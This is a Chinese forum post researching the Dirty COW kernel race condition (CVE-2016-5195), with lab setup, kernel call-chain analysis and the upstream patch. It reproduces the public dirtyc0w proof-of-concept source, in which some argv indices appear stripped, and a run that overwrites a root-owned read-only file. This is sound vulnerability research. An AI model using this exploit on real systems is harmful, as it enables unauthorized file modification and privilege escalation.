40m41h42t 发表于 2023-8-15 19:32

CVE-2016-5195 Linux 内核条件竞争漏洞研究

本帖最后由 40m41h42t 于 2023-8-15 21:01 编辑

从一个经典的漏洞入门 Linux Kernel。

> 本文同步发表在我的博客:https://5ec.top/post/cve-2016-5195/

## 漏洞描述

> Race condition in mm/gup.c in the Linux kernel 2.x through 4.x before 4.8.3 allows local users to gain privileges by leveraging incorrect handling of a copy-on-write (COW) feature to write to a read-only memory mapping, as exploited in the wild in October 2016, aka "Dirty COW."

CVE-2016-5195 脏牛漏洞是一个经典的内核条件竞争漏洞,它利用了 Linux 内核的内存子系统在处理[写时复制](https://en.wikipedia.org/wiki/Copy-on-write)(Copy-on-Write)时存在条件竞争漏洞,导致任意文件写的发生,可以用来提权。

## 背景知识

可以跳过。

### 写时复制

简单来说就是在程序 fork 进程时,内核不会复制整个地址空间,只会创建一个虚拟的空间结构,本质上是共享了父进程的内存空间,只有在需要写入的时候才会复制数据。

### 系统调用

介绍一些涉及到的系统调用

#### mmap

函数原型

```c
void *mmap(void* start, size_t length, int prot, int flags, int fd, off_t offset)
```

这个函数的作用是将磁盘上的文件映射到虚拟内存中。

**flags**

当 `flags` 的 `MAP_PRIVATE` 被置为1时,对 mmap 得到内存映射进行的写操作会使内核触发 COW 操作,写的是 COW 后的内存,不会同步到磁盘的文件中。

#### madvise

函数原型

```c
int madvise(caddr_t addr, size_t len, int advice);
```

这个函数的主要作用是告诉内核内存 `addr→addr+len` 在接下来的使用状况,以便内核进行一些进一步的内存管理操作。

当 `advice` 为 `MADV_DONTNEED` 时,此系统调用相当于通知内核 `addr→addr+len` 的内存在接下来不再使用,内核将释放掉这一块内存以节省空间,相应的页表项也会被置空。

### 系统文件

#### /proc/self/mem

这个文件指向了当前进程的虚拟内存,当前进程可以通过读写这个文件来直接读写虚拟内存空间,并**无视**内存映射时的权限设置。也就是说我们可以利用写 /proc/self/mem 来改写不具有写权限的虚拟内存。可以这么做的原因是 /proc/self/mem 是一个文件,只要进程对该文件具有写权限,那就可以写这个文件了。

## 环境搭建

### 编译内核

换源,安装一些可能必要的包:

```sh
sudo sed -i 's@//.*archive.ubuntu.com@//mirrors.bfsu.edu.cn@g' /etc/apt/sources.list
sudo sed -i 's@//security.ubuntu.com@//mirrors.bfsu.edu.cn@g' /etc/apt/sources.list
sudo apt update
sudo apt install build-essential libncurses5-dev libncursesw5-dev fakeroot bc
```

下载源码和补丁并打 patch:

```sh
wget https://cdn.kernel.org/pub/linux/kernel/v4.x/linux-4.4.1.tar.gz
wget https://cdn.kernel.org/pub/linux/kernel/v4.x/patch-4.4.1.xz
tar zxvf linux-4.4.1.tar.gz
xz -d patch-4.4.1.xz | patch -p1
```

修改配置

```sh
cd linux-4.4.1
make x86_64_defconfig
make menuconfig
```

为了下断点调试,需要关闭 ASLR 并开启调试信息:

```
Processor type and features--->
[ ] Build a relocatable kernel

Kernel hacking--->
Compile-time checks and compiler options--->
    Compile the kernel with debug info
    [ ]   Reduce debugging information
    [ ]   Produce split debuginfo in .dwo files
   Generate dwarf4 debuginfo
      Provide GDB scripts for kernel debugging
```

除此之外,对于 Debian Stretch 及以后的版本,还需要开启

```
CONFIG_CONFIGFS_FS=y
CONFIG_SECURITYFS=y
```

这[两个选项](https://github.com/google/syzkaller/blob/master/docs/linux/setup_ubuntu-host_qemu-vm_x86-64-kernel.md#enable-required-config-options),否则会报 `Failed to mount /sys/kernel/config` 的错误,[只能进救援模式](https://github.com/google/syzkaller/issues/760)。

新版 Ubuntu 中的 gcc [默认开启了 PIC/PIE](https://vccolombo.github.io/cybersecurity/linux-kernel-qemu-stuck/#bonus-pic-error-when-trying-to-compile-an-older-kernel)。我们可以打[这个 patch](https://lists.ubuntu.com/archives/kernel-team/2016-May/077178.html):

```diff
---
Makefile | 6 ++++++
1 file changed, 6 insertions(+)

diff --git a/Makefile b/Makefile
index dda982c..f96b174 100644
--- a/Makefile
+++ b/Makefile
@@ -608,6 +608,12 @@ endif # $(dot-config)
# Defaults to vmlinux, but the arch makefile usually adds further targets
all: vmlinux

+# force no-pie for distro compilers that enable pie by default
+KBUILD_CFLAGS += $(call cc-option, -fno-pie)
+KBUILD_CFLAGS += $(call cc-option, -no-pie)
+KBUILD_AFLAGS += $(call cc-option, -fno-pie)
+KBUILD_CPPFLAGS += $(call cc-option, -fno-pie)
+
# The arch Makefile can set ARCH_{CPP,A,C}FLAGS to override the default
# values of the respective KBUILD_* variables
ARCH_CPPFLAGS :=
--
2.8.1
```

将上面这段文本保存为 `my.patch`,然后运行

```sh
git apply my.patch
```

在新版 Ubuntu 中编译旧版内核可能在编译后用 QEMU 模拟的时候[卡住](https://vccolombo.github.io/cybersecurity/linux-kernel-qemu-stuck/),我们最好用旧版 Ubuntu 编译,这篇文章给出的解决方案是在 Ubuntu 18.04 编译。为了方便起见我就直接写一个 Dockerfile:

```dockerfile
FROM ubuntu:18.04

RUN sed -i 's@//.*archive.ubuntu.com@//mirrors.bfsu.edu.cn@g' /etc/apt/sources.list && \
    sed -i 's@//security.ubuntu.com@//mirrors.bfsu.edu.cn@g' /etc/apt/sources.list && \
    apt -y update && apt -y upgrade && \
    apt -y install build-essential libncurses5-dev libncursesw5-dev fakeroot bc
```

构造 Docker:

```sh
docker build -t ck .
```

拉下来一个 docker:

```yml
version: '3'
services:
ubuntu:
    container_name: compile-kernel
    image: ck:latest
    volumes:
      - /etc/passwd:/etc/passwd:ro
      - /etc/group:/etc/group:ro
      - ./:/work
    tty: true
```

进入 docker:

```sh
docker exec -it compile-kernel /bin/bash
```

切换用户:

```sh
su -l <username> -s /bin/bash
```

接下来就可以编译内核了:

```sh
make -j16
```

### 加载文件系统镜像

可以使用 syzkaller 的脚本,赞美 syzkaller!

```sh
sudo apt-get install debootstrap
wget https://github.com/google/syzkaller/raw/master/tools/create-image.sh
export http_proxy=http://$hostIP:$hostPort
export https_proxy=http://$hostIP:$hostPort
bash create-image.sh
```

`create-image.sh` 使用了 `http_proxy` 和 `https_proxy` 作为代理,读者可以按需设置。在执行后会在当前目录生成 `bullseye.img`。

接下来安装 qemu:

```sh
sudo apt-get install qemu-system
```

然后就可以启动 qemu 了:

```sh
qemu-system-x86_64 \
-m 2G \
-smp 2 \
-kernel ./linux-4.4.1/arch/x86/boot/bzImage \
-append "console=ttyS0 root=/dev/sda earlyprintk=serial net.ifnames=0" \
-drive file=./image/bullseye.img,format=raw,format=raw \
-net user,host=10.0.2.10,hostfwd=tcp:127.0.0.1:10021-:22 \
-net nic,model=e1000 \
-nographic \
-pidfile vm.pid \
2>&1 | tee vm.log
```

之后可以用 root 登录:

```
...
Finished Update UTMP about System Runlevel Changes.
Debian GNU/Linux 11 syzkaller ttyS0

syzkaller login: root
Linux syzkaller 4.4.1 #4 SMP Fri Aug 11 15:40:06 UTC 2023 x86_64
...
root@syzkaller:~#
```

### 创建用户

因为我们要做提权操作,从低权限打高权限,因此需要创建一个普通权限的用户。

```sh
adduser user
```

我们创建了一个没有 root 权限的用户:

```
user@syzkaller:~$ sudo su

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

password for user:
user is not in the sudoers file.This incident will be reported.
```

### GDB 调试

非常简单,在 qemu 启动命令中加上 `-s` 参数即可:

```sh
qemu-system-x86_64 -s \
-m 2G -smp 2 \
-kernel ./linux-4.4.1/arch/x86/boot/bzImage \
-append "console=ttyS0 root=/dev/sda earlyprintk=serial net.ifnames=0" \
-drive file=./image/bullseye.img,format=raw,format=raw \
-net user,host=10.0.2.10,hostfwd=tcp:127.0.0.1:10021-:22 \
-net nic,model=e1000 \
-nographic \
-pidfile vm.pid \
2>&1 | tee vm.log
```

## 漏洞触发

Github 上有很多 (https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs),本文选了 (https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c) 这个 PoC,它可以修改只读文件。

### 构建只读文件

```sh
user@syzkaller:~$ su
Password:
root@syzkaller:/home/user# echo this is not a test > foo
root@syzkaller:/home/user# chmod 0404 foo
root@syzkaller:/home/user#
exit
user@syzkaller:~$ ls -lah foo
-r-----r--. 1 root root 19 Aug 12 11:09 foo
user@syzkaller:~$ cat foo
this is not a test
```

### 触发 PoC

先编译

```sh
wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
gcc -pthread dirtyc0w.c -o dirtyc0w
```

再执行:

```sh
user@syzkaller:~$ ./dirtyc0w foo m00000000000000000
mmap 7ffb4cc31000

madvise 0

procselfmem 1800000000

user@syzkaller:~$ cat
.bash_history.bashrc      .viminfo       dirtyc0w.c
.bash_logout   .profile       dirtyc0w       foo
user@syzkaller:~$ cat foo
m00000000000000000
user@syzkaller:~$ ls -lah foo
-r-----r--. 1 root root 19 Aug 12 11:09 foo
```

成功修改了只读文件 foo。

## PoC 分析

`dirtyc0w` 的代码非常短,仅有几十行:

```c
void *map;
int f;
struct stat st;
char *name;
void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<100000000;i++)
    c+=madvise(map,100,MADV_DONTNEED);
printf("madvise %d\n\n",c);
}
void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<100000000;i++) {
    lseek(f,(uintptr_t)map,SEEK_SET);
    c+=write(f,str,strlen(str));
}
printf("procselfmem %d\n\n", c);
}
int main(int argc,char *argv[])
{
if (argc<3) { (void)fprintf(stderr, "%s\n", "usage: dirtyc0w target_file new_content");
return 1; }
pthread_t pth1,pth2;
f=open(argv,O_RDONLY);
fstat(f,&st);
name=argv;
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %zx\n\n",(uintptr_t) map);
pthread_create(&pth1,NULL,madviseThread,argv);
pthread_create(&pth2,NULL,procselfmemThread,argv);
pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
return 0;
}
```

这个 PoC 的逻辑很简单:

1. 通过 `mmap` 将要修改的文件以只读和私有的方式映射到内存中;
2. 启动两个线程 `madviseThread` 和 `procselfmemThread`,其中:
      - `madviseThread` 会调用 `madvise` 系统调用告诉内核释放掉映射的内存;
      - `procselfmemThread` 会先调用 `lseek` 寻址到映射的内存,再调用 `write` 去写内存。

那么,这样为什么会出现竞争呢?我们需要深入到内核代码中去研究细节。

{{% admonition tip "参考" %}}

下文中的图片参考了[这篇博客](https://xuanxuanblingbling.github.io/ctf/pwn/2019/11/18/race/)并做了一点补充。

{{% /admonition %}}

### 内存映射

在使用 mmap 映射内存时,如果不设置只读属性则会失败,因为这个文件不可写;设置私有属性的目的是为了触发 COW 操作。在内存映射后,文件会从磁盘上加载到文件对应的 page cache 中,但是进程相应的页表还没有建立:

![](https://alist.qrz.today/d/public/imghost/blog/2023-cve-2016-5195/CVE-2016-5195.1.excalidraw.png)

### 第一次页错误

这个函数的核心是它的内存操作 `write`。这个函数的定义位于 (https://lxr.linux.no/linux+v4.4/fs/proc/base.c#L935):

```c
static const struct file_operations proc_mem_operations = {
      .llseek                = mem_lseek,
      .read                = mem_read,
      .write                = mem_write,
      .open                = mem_open,
      .release      = mem_release,
};
```

在 write 的时候关键流程为:

```
mem_write ->
mem_rw ->
    access_remote_vm ->
      __access_remote_vm
```

在 `__access_remote_vm` 中完成了数据写的操作

```c
static int __access_remote_vm(struct task_struct *tsk, struct mm_struct *mm,
                unsigned long addr, void *buf, int len, int write)
{
... ...
... ...
                struct page *page = NULL;

                ret = get_user_pages(tsk, mm, addr, 1,
                              write, 1, &page, &vma);
... ...
... ...
                        maddr = kmap(page);
                        if (write) {
                              copy_to_user_page(vma, page, addr,
                                                maddr + offset, buf, bytes);
                              set_page_dirty_lock(page);
                        } else {
                              copy_from_user_page(vma, page, addr,
                                                    buf, maddr + offset, bytes);
                        }
                        kunmap(page);
                        page_cache_release(page);
                }
... ...
... ...
}
```

可以看到这里首先 `get_user_pages` 会获取 page,然后交给下面的处理逻辑,先将用户层的数据写入 page 中,然后设置脏页。这个 page 的获取是漏洞成因的关键,我们进入这个函数看看,它的关键流程为:

```
get_user_pages ->
__get_user_pages_locked ->
    __get_user_pages
```

接下来看一下 `__get_user_pages` 函数中的关键流程:

```c
long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
                unsigned long start, unsigned long nr_pages,
                unsigned int gup_flags, struct page **pages,
                struct vm_area_struct **vmas, int *nonblocking)
{
... ...
... ...
      do {
                ... ...
                ... ...
                cond_resched();
                page = follow_page_mask(vma, start, foll_flags, &page_mask);
                if (!page) {
                        int ret;
                        ret = faultin_page(tsk, vma, start, &foll_flags,
                                        nonblocking);
                        ... ...
                        ... ...
      } while (nr_pages);
      return i;
}
```

其中 `cond_resched` 函数是线程调度函数,可能导致多线程竞态情况的发生。

`follow_page_mask` 函数会通过用户层虚拟地址查找映射到物理内存页,如果查找到就返回该内存页的描述符,否则代表还没有映射到物理内存,返回 `NULL`,它实际上是去找 PTE 表项去了:

```
follow_page_mask ->
follow_page_pte
```

在 PoC 中,此时是在 mmap 内存之后第一次对内存进行操作,因此在进入 `follow_page_pte` 的逻辑时会发现没有这个 pte 表项,继而在 `__get_user_pages` 函数中的 `faultin_page` 中处理。`faultin_page` 函数会主动触发一个写错误缺页中断:

```c
static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,
                unsigned long address, unsigned int *flags, int *nonblocking)
{
... ...
... ...
      if (*flags & FOLL_WRITE)
                fault_flags |= FAULT_FLAG_WRITE;
... ...
... ...
      ret = handle_mm_fault(mm, vma, address, fault_flags);
... ...
... ...
}
```

好嘞,在触发缺页之后,此时的调用链为:

```
mem_write ->
mem_rw ->
    access_remote_vm ->
      __access_remote_vm ->
      get_user_pages ->
          __get_user_pages_locked ->
            __get_user_pages ->
            follow_page_mask ->
                follow_page_pte ->      # 缺页错误
```

### 首次分配新页

接下来会进入 `handle_mm_fault` 去处理这个错误,这一块的关键流程为:

```
faultin_page ->
handle_mm_fault ->
    __handle_mm_fault ->
      handle_pte_fault
```

进入到 `handle_pte_fault` 函数:

```c
static int handle_pte_fault(struct mm_struct *mm,
                     struct vm_area_struct *vma, unsigned long address,
                     pte_t *pte, pmd_t *pmd, unsigned int flags)
{
... ...
... ...
      entry = *pte;
      barrier();
      if (!pte_present(entry)) {
                if (pte_none(entry)) {
                        if (vma_is_anonymous(vma))
                              ... ...
                        else
                              return do_fault(mm, vma, address, pte, pmd,
                                                flags, entry);
                }
                ... ...
      }
... ...
... ...
}
```

由于此时没有 pte 表项,而且我们也没有在 mmap 时给内存设置 `MAP_ANONYMOUS` 标志,因此会进入到 ` do_fault ` 函数中:

```c
static int do_fault(struct mm_struct *mm, struct vm_area_struct *vma,
                unsigned long address, pte_t *page_table, pmd_t *pmd,
                unsigned int flags, pte_t orig_pte)
{
      ... ...
      ... ...
      if (!(flags & FAULT_FLAG_WRITE))
                return do_read_fault(mm, vma, address, pmd, pgoff, flags,
                              orig_pte);
      if (!(vma->vm_flags & VM_SHARED))
                return do_cow_fault(mm, vma, address, pmd, pgoff, flags,
                              orig_pte);
      ... ...
}
```

在 `do_fault` 函数中有两个比较关键的判断:

1. 判断是否有 `FAULT_FLAG_WRITE` 标志,没有则进入 `do_read_fault` 函数的逻辑;
2. 判断有没有 `VM_SHARED` 标志,没有则进入 `do_cow_fault` 的逻辑中。

我们在 `faultin_page` 的时候添加了 `FAULT_FLAG_WRITE`,因此不会进入第一个逻辑。由于我们 mmap 的内存并没有设置 `VM_SHARED` 标志位(对应 mmap 中的 `MAP_SHARED`),因此接下来会进入 `do_cow_fault` 的逻辑中:

```c
static int do_cow_fault(struct mm_struct *mm, struct vm_area_struct *vma,
                unsigned long address, pmd_t *pmd,
                pgoff_t pgoff, unsigned int flags, pte_t orig_pte)
{
      struct page *fault_page, *new_page;
      struct mem_cgroup *memcg;
      spinlock_t *ptl;
      pte_t *pte;
      int ret;
... ...
      new_page = alloc_page_vma(GFP_HIGHUSER_MOVABLE, vma, address);
... ...
      ret = __do_fault(vma, address, pgoff, flags, new_page, &fault_page);
... ...
      if (fault_page)
                copy_user_highpage(new_page, fault_page, address, vma);
      __SetPageUptodate(new_page);

      pte = pte_offset_map_lock(mm, pmd, address, &ptl);
... ...
      do_set_pte(vma, address, new_page, pte, true, true);
... ...
      return ret;
}
```

`do_cow_fault` 函数的操作是:

1. 重新分配一个页面 `new_page`;
2. 调用 `__do_fault` 函数将 page cache 读到 `fault_page` 中;
3. `copy_user_highpage` 将 `fault_page` 中的内容拷贝到 `new_page` 中;

这个 `new_page` 就被分配出来了:

![](https://alist.qrz.today/d/public/imghost/blog/2023-cve-2016-5195/CVE-2016-5195.2.excalidraw.png)

4. `do_set_pte` 将新页面和虚拟地址重新建立映射关系,我们重点关注一下这个函数:

```c
void do_set_pte(struct vm_area_struct *vma, unsigned long address,
                struct page *page, pte_t *pte, bool write, bool anon)
{
      pte_t entry;
      ... ...
      entry = mk_pte(page, vma->vm_page_prot);
      if (write)
                entry = maybe_mkwrite(pte_mkdirty(entry), vma);
      ... ...
      set_pte_at(vma->vm_mm, address, pte, entry);

      /* no need to invalidate: a not-present page won't be cached */
      update_mmu_cache(vma, address, pte);
}
```

在这一步会:

1. 根据新分配的页和 vma 的相关属性生成一个 pte 页表项 `entry`;
2. 因为我们触发了写错误的缺页中断,因此 `write==1`,会进入到第一个判断逻辑中。通过 `pte_mkdirty` 函数设置 entry 页表项指向的页为脏页,进入 `maybe_mkwrite` 函数中:

```c
static inline pte_t maybe_mkwrite(pte_t pte, struct vm_area_struct *vma)
{
      if (likely(vma->vm_flags & VM_WRITE))
                pte = pte_mkwrite(pte);
      return pte;
}
```

在 `maybe_mkwrite` 函数中,只有内存区域存在可写标记的时候才会设置 entry 的 `WRITE` 标志位,但由于我们 mmap 的参数是 `PROT_READ`,没有 `PROT_WRITE`,因此内存不是可写的,不会设置 `WRITE` 标志位。那么此时 pte entry 的属性是:脏页且只读。

![](https://alist.qrz.today/d/public/imghost/blog/2023-cve-2016-5195/CVE-2016-5195.3.excalidraw.png)

好啦,当前的调用链为:

```
mem_write ->
mem_rw ->
    access_remote_vm ->
      __access_remote_vm ->
      get_user_pages ->
          __get_user_pages_locked ->
            __get_user_pages ->
            follow_page_mask ->
                follow_page_pte ->      # 缺页错误
            faultin_page ->
                handle_mm_fault ->
                  __handle_mm_fault ->
                  handle_pte_fault ->
                      do_fault ->
                        do_cow_fault -> # 分配一个新页
                        do_set_pte -> # 设置脏页
                            maybe_mkwrite # 不可写
```

哇,还真是很漫长呢,这下终于把新页增加流程分析得差不多,是时候返回了。

### 第二次页错误

接下来一路返回到 `__get_user_pages` 函数且返回值为 0,这样会再次进入 `follow_page_mask` 函数中,最终进到 `follow_page_pte` 函数中。

``` c
long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
                unsigned long start, unsigned long nr_pages,
                unsigned int gup_flags, struct page **pages,
                struct vm_area_struct **vmas, int *nonblocking)
{
      ... ...
      ... ...
retry:
                /*
               * If we have a pending SIGKILL, don't keep faulting pages and
               * potentially allocating memory.
               */
                ... ...
                cond_resched();
                page = follow_page_mask(vma, start, foll_flags, &page_mask);
                if (!page) {
                        int ret;
                        ret = faultin_page(tsk, vma, start, &foll_flags,
                                        nonblocking);
                        switch (ret) {
                        case 0:
                              goto retry;
                        ... ...
                        ... ...
}
```

注意到此时虽然不会产生 COW 导致的缺页了,但是传进去的 pte entry 是只读的脏页,因此会进入下面的逻辑:

```c
static struct page *follow_page_pte(struct vm_area_struct *vma,
                unsigned long address, pmd_t *pmd, unsigned int flags)
{
      ... ...
      ... ...
      if ((flags & FOLL_WRITE) && !pte_write(pte)) {
                pte_unmap_unlock(ptep, ptl);
                return NULL;
      }
... ...
... ...
```

这样就会返回 NULL,重新进入 `faultin_page` 函数:

```c
long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
                unsigned long start, unsigned long nr_pages,
                unsigned int gup_flags, struct page **pages,
                struct vm_area_struct **vmas, int *nonblocking)
{
                ... ...
                ... ...
                page = follow_page_mask(vma, start, foll_flags, &page_mask);
                if (!page) {
                        int ret;
                        ret = faultin_page(tsk, vma, start, &foll_flags,
                                        nonblocking);
      ... ...
      ... ...
```

### 去除写标记

接下来会再次进入这个调用链:

```
faultin_page ->
handle_mm_fault ->
    __handle_mm_fault ->
      handle_pte_fault
```

在 `handle_pte_fault` 函数中,由于此时触发了写错误异常,自身又不带有 `WRITE` 标记,因此会进入 `do_wp_page` 函数中:

```c
static int handle_pte_fault(struct mm_struct *mm,
                     struct vm_area_struct *vma, unsigned long address,
                     pte_t *pte, pmd_t *pmd, unsigned int flags)
{
      pte_t entry;
      ... ...
      entry = *pte;
      ... ...
      ... ...
      if (flags & FAULT_FLAG_WRITE) {
                if (!pte_write(entry))
                        return do_wp_page(mm, vma, address,
                                        pte, pmd, ptl, entry);
      ... ...
      ... ...
```

在 `do_wp_page` 函数中,我们传递的页面是匿名页面且可重用,因此会进入 reuse 的逻辑,接着进入 `wp_page_reuse` 函数:

```c
static int do_wp_page(struct mm_struct *mm, struct vm_area_struct *vma,
                unsigned long address, pte_t *page_table, pmd_t *pmd,
                spinlock_t *ptl, pte_t orig_pte)
      __releases(ptl)
{
      struct page *old_page;

      old_page = vm_normal_page(vma, address, orig_pte);
      ... ...
      ... ...
      if (PageAnon(old_page) && !PageKsm(old_page)) {
                ... ...
                ... ...
                if (reuse_swap_page(old_page)) {
                        page_move_anon_rmap(old_page, vma, address);
                        unlock_page(old_page);
                        return wp_page_reuse(mm, vma, address, page_table, ptl,
                                             orig_pte, old_page, 0, 0);
```

在 `wp_page_reuse` 函数中,经过一系列处理后,最终返回 `VM_FAULT_WRITE`:

```c
static inline int wp_page_reuse(struct mm_struct *mm,
                        struct vm_area_struct *vma, unsigned long address,
                        pte_t *page_table, spinlock_t *ptl, pte_t orig_pte,
                        struct page *page, int page_mkwrite,
                        int dirty_shared)
      __releases(ptl)
{
      ... ...
      ... ...
      return VM_FAULT_WRITE;
}
```

此时的函数调用链为:

```
mem_write ->
mem_rw ->
    access_remote_vm ->
      __access_remote_vm ->
      get_user_pages ->
          __get_user_pages_locked ->
            __get_user_pages ->
            follow_page_mask ->
                follow_page_pte ->      # 缺页错误
            faultin_page ->
                handle_mm_fault ->
                  __handle_mm_fault ->
                  handle_pte_fault ->
                      do_fault ->
                        do_cow_fault -> # 分配一个新页
                        do_set_pte -> # 设置脏页
                            maybe_mkwrite -> # 不可写
            follow_page_mask ->
                follow_page_pte ->      # 不可写导致二次页错误
            faultin_page ->
                handle_mm_fault ->
                  __handle_mm_fault ->
                  handle_pte_fault ->
                      do_wp_page ->
                        wp_page_reuse   # 返回 VM_FAULT_WRITE
               
```

回到 `faultin_page`,由于此时的返回值是 `VM_FAULT_WRITE`,因此会清除 `FOLL_WRITE` 的标记位:

```c
static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,
                unsigned long address, unsigned int *flags, int *nonblocking)
{
      ... ...
      ... ...
      if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
                *flags &= ~FOLL_WRITE;
      return 0;
}
```

第二次页错误的最终结果是:

![](https://alist.qrz.today/d/public/imghost/blog/2023-cve-2016-5195/CVE-2016-5195.4.excalidraw.png)

在返回之后重新 retry,进入 `follow_page_mask` 函数,但是漏洞已经出现了:

```c
long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
                unsigned long start, unsigned long nr_pages,
                unsigned int gup_flags, struct page **pages,
                struct vm_area_struct **vmas, int *nonblocking)
{
      ... ...
      ... ...
retry:
                ... ...
                cond_resched();
                page = follow_page_mask(vma, start, foll_flags, &page_mask);
                if (!page) {
                        int ret;
                        ret = faultin_page(tsk, vma, start, &foll_flags,
                                        nonblocking);
                        switch (ret) {
                        case 0:
                              goto retry;
                ... ...
                ... ...
}
```

进入 retry 流程后,`cond_resched` 函数会主动放权,导致 `madviseThread` 线程有一次出手机会。

### 页表释放

`madviseThread` 解除刚刚分配的页,这会导致刚刚分配的页失效,且由于刚刚清除了 `FOLL_WRITE` 标记位,接下来就是触发漏洞的时刻!

![](https://alist.qrz.today/d/public/imghost/blog/2023-cve-2016-5195/CVE-2016-5195.5.excalidraw.png)

### 第三次页错误

调度返回 `__get_user_pages` 函数,重新进入 `follow_page_mask`,由于页表刚刚被释放,因此会触发第三次缺页错误,进入 `faultin_page` 函数中。

```c
                cond_resched();
                page = follow_page_mask(vma, start, foll_flags, &page_mask);
                if (!page) {
                        int ret;
                        ret = faultin_page(tsk, vma, start, &foll_flags,
                                        nonblocking);
```

### 二次分配新页

在这次分配中,由于没有了写标记,因此 `fault_flags` 不会添加 `FAULT_FLAG_WRITE` 标记。此时的调用链为:

```
faultin_page ->
handle_mm_fault ->
    __handle_mm_fault ->
      handle_pte_fault ->
      do_fault
```

在 `do_fault` 函数中,因为 `flags` 不带有 `FAULT_FLAG_WRITE`,因此最终会调用 `do_read_fault` 而不是 `do_cow_fault` 直接返回 page cache,因为内核会觉得你希望读而不是写,无所谓。

```c
static int do_fault(struct mm_struct *mm, struct vm_area_struct *vma,
                unsigned long address, pte_t *page_table, pmd_t *pmd,
                unsigned int flags, pte_t orig_pte)
{
      ... ...
      ... ...
      if (!(flags & FAULT_FLAG_WRITE))
                return do_read_fault(mm, vma, address, pmd, pgoff, flags,
                              orig_pte);
      if (!(vma->vm_flags & VM_SHARED))
                return do_cow_fault(mm, vma, address, pmd, pgoff, flags,
                              orig_pte);
      return do_shared_fault(mm, vma, address, pmd, pgoff, flags, orig_pte);
}
```

这样,我们又双叒叕一次返回到了 `__get_user_pages` 函数中,再次调用 `follow_page_mask` 函数。不过这一次写标记已经去掉了,因此会正常给你返回 page,且该 page 是 page cache。

![](https://alist.qrz.today/d/public/imghost/blog/2023-cve-2016-5195/CVE-2016-5195.6.excalidraw.png)

### 写入数据

终于,在经过长长的页分配之后,我们可以返回了,这次直接返回到 `__access_remote_vm` 函数中:

```c
static int __access_remote_vm(struct task_struct *tsk, struct mm_struct *mm,
                unsigned long addr, void *buf, int len, int write)
{
      struct vm_area_struct *vma;
      void *old_buf = buf;
    ... ...
      while (len) {
                int bytes, ret, offset;
                void *maddr;
                struct page *page = NULL;

                ret = get_user_pages(tsk, mm, addr, 1,
                              write, 1, &page, &vma);
                if (ret <= 0) {
            ... ...
            ... ...
                } else {
                        bytes = len;
                        offset = addr & (PAGE_SIZE-1);
                        ... ...

                        maddr = kmap(page);
                        if (write) {
                              copy_to_user_page(vma, page, addr,
                                                maddr + offset, buf, bytes);
                              set_page_dirty_lock(page);
                        } else {
                              ... ...
                        }
                        kunmap(page);
                        page_cache_release(page);
                }
                len -= bytes;
                buf += bytes;
                addr += bytes;
      }
      up_read(&mm->mmap_sem);

      return buf - old_buf;
}
```

在返回页表项后,开始写入数据。由于 PoC 是直接写 `/proc/self/mem`,这种写法可以无视页表权限强制写入,这是 `memcpy` 做不到的。在这种写入方法下,会首先 kmap 出一块地址,写入并置脏页标记:

![](https://alist.qrz.today/d/public/imghost/blog/2023-cve-2016-5195/CVE-2016-5195.7.excalidraw.png)

由于 pache cache 关联的页表项是脏页,因此最后利用 page cache 的写回机制复写磁盘上的文件,攻击完成。

![](https://alist.qrz.today/d/public/imghost/blog/2023-cve-2016-5195/CVE-2016-5195.8.excalidraw.png)

### 总结

这个漏洞通过 write mmap 出的只读私有内存触发页错误,去除写标记,利用条件竞争卸载当前列表,可以让本应报错的写入失效,能够分配出页表;然后利用 `/proc/self/mem` 的 `kmap` 强行写入,最后利用 page cache 的回写机制写回物理文件,达到修改只读文件的效果。

在这个漏洞中,竞争出现在第二次页错误去除写标记后,`cond_resched` 函数给了 `madvise` 插入的机会,让它能够释放页表项,导致漏洞的发生。

## 补丁分析

[补丁](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619)添加了一个新的标志位 `FOLL_COW`:

```diff
diff --git a/include/linux/mm.h b/include/linux/mm.h
index e9caec6a51e97..ed85879f47f5f 100644
--- a/include/linux/mm.h
+++ b/include/linux/mm.h
@@ -2232,6 +2232,7 @@ static inline struct page *follow_page(struct vm_area_struct *vma,
#define FOLL_TRIED      0x800      /* a retry, previous pass started an IO */
#define FOLL_MLOCK      0x1000      /* lock present pages */
#define FOLL_REMOTE      0x2000      /* we are working on non-current tsk/mm */
+#define FOLL_COW      0x4000      /* internal GUP flag */

typedef int (*pte_fn_t)(pte_t *pte, pgtable_t token, unsigned long addr,
                         void *data);
```

在第二次页错误后,不会去除写标记而是添加 `FOLL_COW` 标记:

```diff
diff --git a/mm/gup.c b/mm/gup.c
index 96b2b2fd0fbd1..22cc22e7432f6 100644
--- a/mm/gup.c
+++ b/mm/gup.c
@@ -60,6 +60,16 @@ static int follow_pfn_pte(struct vm_area_struct *vma, unsigned long address,
         return -EEXIST;
}

+/*
+ * FOLL_FORCE can write to even unwritable pte's, but only
+ * after we've gone through a COW cycle and they are dirty.
+ */
+static inline bool can_follow_write_pte(pte_t pte, unsigned int flags)
+{
+      return pte_write(pte) ||
+                ((flags & FOLL_FORCE) && (flags & FOLL_COW) && pte_dirty(pte));
+}
+
static struct page *follow_page_pte(struct vm_area_struct *vma,
               unsigned long address, pmd_t *pmd, unsigned int flags)
{
@@ -95,7 +105,7 @@ retry:
         }
         if ((flags & FOLL_NUMA) && pte_protnone(pte))
               goto no_page;
-      if ((flags & FOLL_WRITE) && !pte_write(pte)) {
+      if ((flags & FOLL_WRITE) && !can_follow_write_pte(pte, flags)) {
               pte_unmap_unlock(ptep, ptl);
               return NULL;
